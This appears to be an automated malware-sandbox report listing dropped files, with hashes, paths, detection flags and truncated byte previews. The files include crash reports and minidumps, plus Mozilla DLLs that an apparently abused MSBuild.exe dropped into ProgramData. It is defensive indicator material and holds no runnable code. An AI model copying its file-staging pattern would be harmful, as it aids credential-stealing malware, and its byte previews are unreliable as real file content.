SHA-256:	6C7818A65F46711FBC89CD7B548829E98BE247FAB8B2C4766C85B64BC632E797
SHA-512:	B9248880D2B68A7A171F210CE0D9DB345C189C411C4946238ED840D0ED993563B413D66A1ED61357BFE699EBC62F9817C4390CFFD30067F7A357A5DB3BD63351
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=.9.y.WUy.WUy.WU..TTu.WU..RT..WU..STl.WU..VTz.WUy.VU!.WUilTTm.WUilSTk.WUilRT4.WU1m^Tx.WU1m.Ux.WU1mUTx.WURichy.WU................PE..L......g...............).....b......Ro.......0....@.................................q4....@.....................................(.......................................................................@............0..,............................text............................... ..`.rdata..x....0......................@..@.data...............................@....rsrc................J..............@..@.reloc...............N..............@..B........................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_KEGIDHJKKJ.exe_5d48e568e7ddaed7c715c34ba7d8a94937a0f9_bcd0fe0f_18242657-267c-46a5-87ff-84750f054ab7\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6513920071391863
Encrypted:	false
SSDEEP:	96:25FWLZGljMW0xjaI2sxnykxlAxfuQXIDcQvc6QcEVcw3cE/fBp+HbHg/5hZAX/dE:+cLZGlgWO2n0BU/wjhzuiFRZ24IO8f
MD5:	BC455E5EE4B5060CCDEFE3FCFA261272
SHA1:	60B4E90DD14199BB1657F30A7922AE3A527BDFDE
SHA-256:	A083FEF5534E308BE0E76AAB75F43E3D3560A6EC1D4655E8AA1D6FA0A1C27E93
SHA-512:	97FC11571FB69436D2579BDF28A2876CC0C328E8555BE481CAD662FA83908E6A6B37329D61BC924C46D8B438B4196FA1F30716BF7C3E57EA3204F9B74D9A8B55
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.7.9.3.0.2.6.3.3.1.8.9.9.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.7.9.3.0.2.6.6.2.8.7.7.7.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.8.2.4.2.6.5.7.-.2.6.7.c.-.4.6.a.5.-.8.7.f.f.-.8.4.7.5.0.f.0.5.4.a.b.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.5.c.3.6.5.0.e.-.5.9.c.d.-.4.6.d.3.-.a.a.c.0.-.f.6.c.8.8.a.8.0.1.d.e.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.K.E.G.I.D.H.J.K.K.J...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.p.r.o.q.u.o.t.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.3.8.c.-.0.0.0.1.-.0.0.1.4.-.4.e.8.2.-.9.b.1.3.d.8.1.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.9.7.d.0.3.f.6.a.1.a.a.4.5.0.5.0.f.7.b.e.5.5.f.8.7.6.f.e.a.2.d.c.0.0.0.0.0.9.0.4.!.0.0.0.0.1.5.7.b.6.1.a.2.4.0.8.7.5.2.1.6.9.3.c.8.a.c.a.7.4.3.d.6.0.e.4.c.3.3.c.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MSBuild.exe_43832d93ddcf66f1edc5babbb1e353ebb92236_05bdfb8c_cc67cea2-f6cd-451e-b7c7-aa0c52bc58ac\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0181914359758193
Encrypted:	false
SSDEEP:	192:QzI6P4cOufsS0BU/gjem+5zuiFRZ24IO8q:+I6PYufsZBU/gjAzuiFRY4IO8q
MD5:	DB6F579A463701193A383B4902CBF736
SHA1:	FD07C1444E676B75EF47DA598358578542E8E941
SHA-256:	0805D3082A4099A512C88380B9E6B335C0F7784AD7BE2EA456B504D8EB149013
SHA-512:	FD101CF2A9E040552D918DADBB6CA91D5427975068441872410C1DA4FD87FBA8645B7933474DDD715351EF6786BF98C6DBB12B0035B083F6D1858DEB49AA74D6
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.7.9.3.0.2.8.9.5.0.0.1.8.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.7.9.3.0.2.9.5.7.5.0.2.3.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.c.6.7.c.e.a.2.-.f.6.c.d.-.4.5.1.e.-.b.7.c.7.-.a.a.0.c.5.2.b.c.5.8.a.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.1.1.2.b.d.d.1.-.0.7.3.2.-.4.f.5.8.-.a.4.9.a.-.5.3.e.a.9.b.c.7.c.9.5.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.M.S.B.u.i.l.d...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.M.S.B.u.i.l.d...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.a.6.8.-.0.0.0.1.-.0.0.1.4.-.8.6.c.7.-.b.3.1.3.d.8.1.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.e.6.2.5.6.a.0.1.5.9.6.8.8.f.0.5.6.0.b.0.1.5.d.a.4.d.9.6.7.f.4.1.c.b.f.8.c.9.b.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_f1r6P3j3g7.exe_b95f3ae3b15bcd5a4383aa615a5f42f59835b9_234f6c94_fda499e8-cf30-46d3-9443-7513842412cb\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6533916984721818
Encrypted:	false
SSDEEP:	96:HNEsUF9fQdc0nqKc9sYTyTYxAufxQXIDcQvc6QcEVcw3cE//F9+HbHg/5hZAX/db:HtU/Ydc99g0BU/wjhzuiFAZ24IO8r
MD5:	88BD69B3B3BD1FCAE8F1A0C8070F8DE3
SHA1:	F621FEFD741D4F9929F604CBECDF19E20EA9895D
SHA-256:	EA90D5D9507C2CDFA338F87012536ABE7731CC57C20D82D00387C9FEF3B2BF1C
SHA-512:	525DD787B3AB8FA0CC80A2F41D76A52E7E63C58BCD30FCE421261A44B6F83C86AC5F81E561958CFEBAE560B522BEB77CA827408D5B4AD50B9A07132891405ECE
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.7.9.2.9.7.8.2.0.7.2.4.3.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.7.9.2.9.7.8.6.1.3.4.6.2.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.d.a.4.9.9.e.8.-.c.f.3.0.-.4.6.d.3.-.9.4.4.3.-.7.5.1.3.8.4.2.4.1.2.c.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.6.2.1.4.f.9.1.-.5.b.9.f.-.4.2.7.3.-.a.f.b.9.-.d.e.4.7.5.c.9.0.3.5.9.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.1.r.6.P.3.j.3.g.7...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.p.r.o.q.u.o.t.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.8.4.-.0.0.0.1.-.0.0.1.4.-.a.0.b.7.-.d.9.f.6.d.7.1.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.9.7.d.0.3.f.6.a.1.a.a.4.5.0.5.0.f.7.b.e.5.5.f.8.7.6.f.e.a.2.d.c.0.0.0.0.0.9.0.4.!.0.0.0.0.d.5.2.9.6.5.2.f.0.b.a.9.2.f.e.b.a.d.3.6.c.6.6.a.1.b.5.b.e.4.3.9.8.e.d.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER16A2.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Mon Oct 7 16:43:49 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	107868
Entropy (8bit):	2.0281600177435752
Encrypted:	false
SSDEEP:	384:CisvSpdxikBU0ljbLgT9ZZu1humDXOJs3yDqZ1fLPeg+n+uB8Sc74h/5Vrj/h:CH3kBU02fg14mT/vy/Pj
MD5:	13C1AE2CC31D321B1018903A93CA94F0
SHA1:	A231478882CCD5B57DB67F8684038F55DF5CABF1
SHA-256:	63B18F14D52502433D19C474C08412DD1D2F7B6C872AE0D3E5BBB5424BEB80CB
SHA-512:	1A96B6BC643097FFC6978DCB475B8D55CABF0D07BCED10C625D10F7770833C7B84B9F9453826E78750F0706B5141560BCFF73DC37936F31FA4CBC71276F8F073
Malicious:	false
Preview:	MDMP..a..... ..........g....................................l....!..........,E..........`.......8...........T............?...e...........!...........#..............................................................................eJ......p$......GenuineIntel............T.......h......g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1859.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6296
Entropy (8bit):	3.723780050549274
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbnE6fkFeYJQE/yqs5aM4UG89b1Jsf8nm:R6l7wVeJnE6vYJEprG89b1Jsf8nm
MD5:	066E640872E001C8DD4C12462C7EBBCA
SHA1:	CC35A3441C15346E4ECE2303AF06A4D0806079B2
SHA-256:	ECCD28A8FB111ACC500353526EE37C86B38DB39F93E5C6F7E81961D3ECBC1B68
SHA-512:	130E4769BA5E7FB4B208E83DC86EFA44098BB175F381C9D6DC419EA718AB44C44D2F7B117F476F00808C0D297060BAC8F5AC1E8DD474D83976A2CB5C62381A78
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.6.6.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1889.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4636
Entropy (8bit):	4.468735890098782
Encrypted:	false
SSDEEP:	48:cvIwWl8zsgiJg77aI9eJWpW8VYgYm8M4JLZFbX+q8IFmLCd:uIjfgwI7o47VsJzXnmLCd
MD5:	6053A8303950D094774BD0B260342D0A
SHA1:	C8F7332753826B9AB1E77CB9281F63F478EF0546
SHA-256:	4EBCD8662674713593AD1CDEAC5E442F44C7464951DBFBB5895EE1BDF01CE2B3
SHA-512:	C7627556ED6B9EAF948F6AF5718F8B90079707360C1F55436F903432DC29C2C1BB5DD861B06844486B400D35811F8EC9029BDAFC9F116243F7BA0BA0DE3EC154
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="533266" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5074.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Oct 7 16:42:58 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	34320
Entropy (8bit):	1.7446704774211803
Encrypted:	false
SSDEEP:	96:5Z8RGh6zJWsET4Gi77MYQ7qSSOEN44g330Lpr9wmUpr8emqWIkWIK2lI4umRfpKg:sdmOQSOz4jZ9w5msQumRfpK5djnrY
MD5:	6900C85F5526E4EA5AB0F36B6C3DC11E
SHA1:	2DE2F5EDBA3C08E85246BCC19B35DD05F902F872
SHA-256:	C1FF189F96B92295FC2C4576B71478D5B0EB0BC360ADCD4B4F307666FD13D2A9
SHA-512:	E1086A57DC2A20FE7DA6E31C9A2FA575BF8ADC0D7FCAF1F3AE9C829697760EA287BA7C7ED48D07B4938876A50A8D976D957C6B8E7AFCF45FF8BBCB58F67AEEDD
Malicious:	false
Preview:	MDMP..a..... ..........g........................d...........................T.......8...........T...........P....z......................................................................................................eJ..............GenuineIntel............T..............g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER50C3.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8326
Entropy (8bit):	3.6999975851417295
Encrypted:	false
SSDEEP:	192:R6l7wVeJi36qR6Y93SU9tgmfk3jEprB89bsPsfWkm:R6lXJ66qR6YtSU9tgmfk3jvs0fM
MD5:	9B6D7C69B6E07C6C7509CEC71DD39787
SHA1:	B93D229625EE8191D6EE22AF88E246AAC2C5AA40
SHA-256:	35FEE08934C2685090E39387A55F098A0C78C429FF634F398C0E93B3F70804F1
SHA-512:	FFE76525149E487F101216B591F68B16C4162D7DB5C0CEDAFCBD851662FE339EAEF3569A258BEAB9876C865412A1104AAAF3F28F8F899B5CC3FD59B130689C6D
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.5.3.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER50F3.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4678
Entropy (8bit):	4.477761318325481
Encrypted:	false
SSDEEP:	48:cvIwWl8zs2Jg77aI9eJWpW8VYVYm8M4JdZFxD+q8guaF1y/d:uIjfMI7o47VVJ7D8a3y/d
MD5:	E3361CD7A13C67AA277EF6BF053822BC
SHA1:	0C7768517B559F20C7FD545B8579E26373C31F27
SHA-256:	F75AFC86AD503AE281EE46F5FFA42C05C83650378EF745D260A965E4C9729024
SHA-512:	A61E8FD6B0C018D9D1F33267BB013934402F478DB5C9E57E7415DE26ED9E8ACB42D5E5617733583716C088212B936A59A1F93C2842DD0327E65F97A49D801EAF
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="533265" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC71.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Oct 7 16:43:46 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	34132
Entropy (8bit):	1.6960575170255487
Encrypted:	false
SSDEEP:	96:5Aw8NR6zJWsElbGgMSi77dCOTSAyI+Mv8gDIP4f5DfEWPhpyzWItWI/oI16ZrSEV:8eaGgBO1Ff00e4f5DfEKo/6ZrSEz3B
MD5:	4B0AE5EE47BAE784147253B359210314
SHA1:	86F6370B7242FB1EB583C3A73A4EF995349329CF
SHA-256:	5C2FD4CF34C4C7C69B96439944A72E60CDCCFF19CAB0E033703EE30DD9F52EA0
SHA-512:	8B39A389DF4234B873B8DBBB9ACE67E5B89E102E6195D8741632C894DBABF44DC671DC8BAD26B3800085EFF1628275EFE80732AFE24AE74D6CC1A6C3B9821527
Malicious:	false
Preview:	MDMP..a..... ..........g........................d...........................T.......8...........T................z......................................................................................................eJ..............GenuineIntel............T..............g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCA1.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8322
Entropy (8bit):	3.709065646617964
Encrypted:	false
SSDEEP:	192:R6l7wVeJsd6s66Y7c6U8gmfT1TEprt89bCvsfFiWm:R6lXJu6h6Yw6U8gmfT1TrCUfFa
MD5:	35251AB8F63F0620DCB4228E2DDA49C2
SHA1:	7CC1B63B296359DF2A653B454264402C77F050D1
SHA-256:	8F898DB907A3FD51234E2D4B92AAE96186A60E2CDFA9D75818209F69C4508BED
SHA-512:	655F2861F34ED7D541E251256FDC9FF259DAD6485DFCF48583844E75EE4786C9D8310BFB7BDE5AE5594E50C7C1316997DA9A97AD064C4BCC2A046743AB9322C9
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.9.0.8.<./.P.i.d.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCD1.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4678
Entropy (8bit):	4.513416270332497
Encrypted:	false
SSDEEP:	48:cvIwWl8zsgiJg77aI9eJWpW8VYHb0Ym8M4JO+F2+q8cOUa0d0hsd:uIjfgwI7o47V+BJewUa0d0hsd
MD5:	2DEDBB736D1FE9C6238DA4275461F51F
SHA1:	18DD733A304827D9546FFAD980DE7519FFF180B6
SHA-256:	4931E0B0269F8BF9B0B62F0987864A3DB56D528D3BC1747E22F76F8E68BB165B
SHA-512:	2291E5E41AD2328BE5FEF3A23FA5B8F9A42A53A0CA2C708DCE2DD71656F89D6CC803AA24076AD1F32AA237A0ADFDACFE2AA94CA251F26C91DE880E7E38D3A444
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="533266" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: NdSXVNeoET.exe, Detection: malicious, Browse Filename: VLSiVR4Qxs.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: gIXLkTvFeC.exe, Detection: malicious, Browse Filename: c3KH2gLNrM.exe, Detection: malicious, Browse Filename: 0FZVLEdDuc.exe, Detection: malicious, Browse Filename: NHvurkKE21.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
